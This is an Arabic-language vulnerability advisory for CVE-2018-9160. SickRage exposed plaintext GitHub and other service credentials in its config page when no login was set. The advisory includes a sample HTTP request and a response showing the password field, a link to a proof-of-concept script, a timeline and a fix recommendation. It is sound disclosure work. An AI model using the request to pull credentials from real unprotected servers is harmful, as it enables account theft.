بيانات اعتماد github بنص واضح في Sickrage CVE-2018-9160

نظرة عامة

عنوان الاستغلال: بيانات اعتماد نصية واضحة في استجابة HTTP في SickRage
التاريخ: 2018-04-01
مؤلف الاستغلال: Sven Fassbender
التواصل: https://twitter.com/mezdanak
الصفحة الرئيسية للمورّد: https://sickrage.github.io
رابط البرنامج: https://github.com/SickRage/SickRage
الإصدار: < v2018.03.09-1
CVE : CVE-2018-9160
الفئة: تطبيقات الويب

معلومات أساسية

"SickRage هو مدير تلقائي لمكتبة الفيديو للبرامج التلفزيونية.
فهو يترقب الحلقات الجديدة لبرامجك المفضلة، وعندما تُنشر يقوم بسحره:
البحث التلقائي عن torrent/nzb، والتنزيل، والمعالجة بالجودات التي تريدها." --مقتطف من https://sickrage.github.io

وصف الثغرة

يُعيد SickRage بيانات اعتماد نصية واضحة لخدمات مثل GitHub وAniDB وKodi وPlex وغيرها في استجابات HTTP.
الشرط المسبق هو ألا يكون المستخدم قد عيّن اسم مستخدم وكلمة مرور لتثبيت SickRage الخاص به. (غير مفروض، افتراضي)

طلب HTTP:

GET /config/general/ HTTP/1.1  
Host: 192.168.1.13:8081  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.1.13:8081/config/backuprestore/  
DNT: 1  
Connection: close  
Upgrade-Insecure-Requests: 1

استجابة HTTP:

HTTP/1.1 200 OK  
Content-Length: 113397  
Vary: Accept-Encoding  
Server: TornadoServer/4.5.1  
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"  
Date: Fri, 02 Mar 2018 10:47:51 GMT  
Content-Type: text/html; charset=UTF-8  

<!DOCTYPE html>  
<html lang="nl_NL">  
    <head>  
		[...]  
        <input type="text" name="git_username" id="git_username" value="[email protected]" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />  
        [...]  
        <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />  
		[...]  
        </div>  
    </body>  
</html>

إثبات المفهوم

https://github.com/mechanico/sickrageWTF/blob/master/get_github_creds_sickrage.py

الجدول الزمني

[2018-03-07] تم اكتشاف الثغرة
[2018-03-08] تم التواصل مع المورّد
[2018-03-08] ردّ المورّد
[2018-03-09] تم إصلاح الثغرة. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)

التوصية

حدّث تثبيت SickRage إلى الإصدار v2018.03.09-1 أو أحدث.
احمِ الوصول إلى تطبيق الويب باستخدام بيانات اعتماد مستخدم مناسبة.

sickrageWTF

الأكثر شعبية

بيانات اعتماد github بنص واضح في Sickrage CVE-2018-9160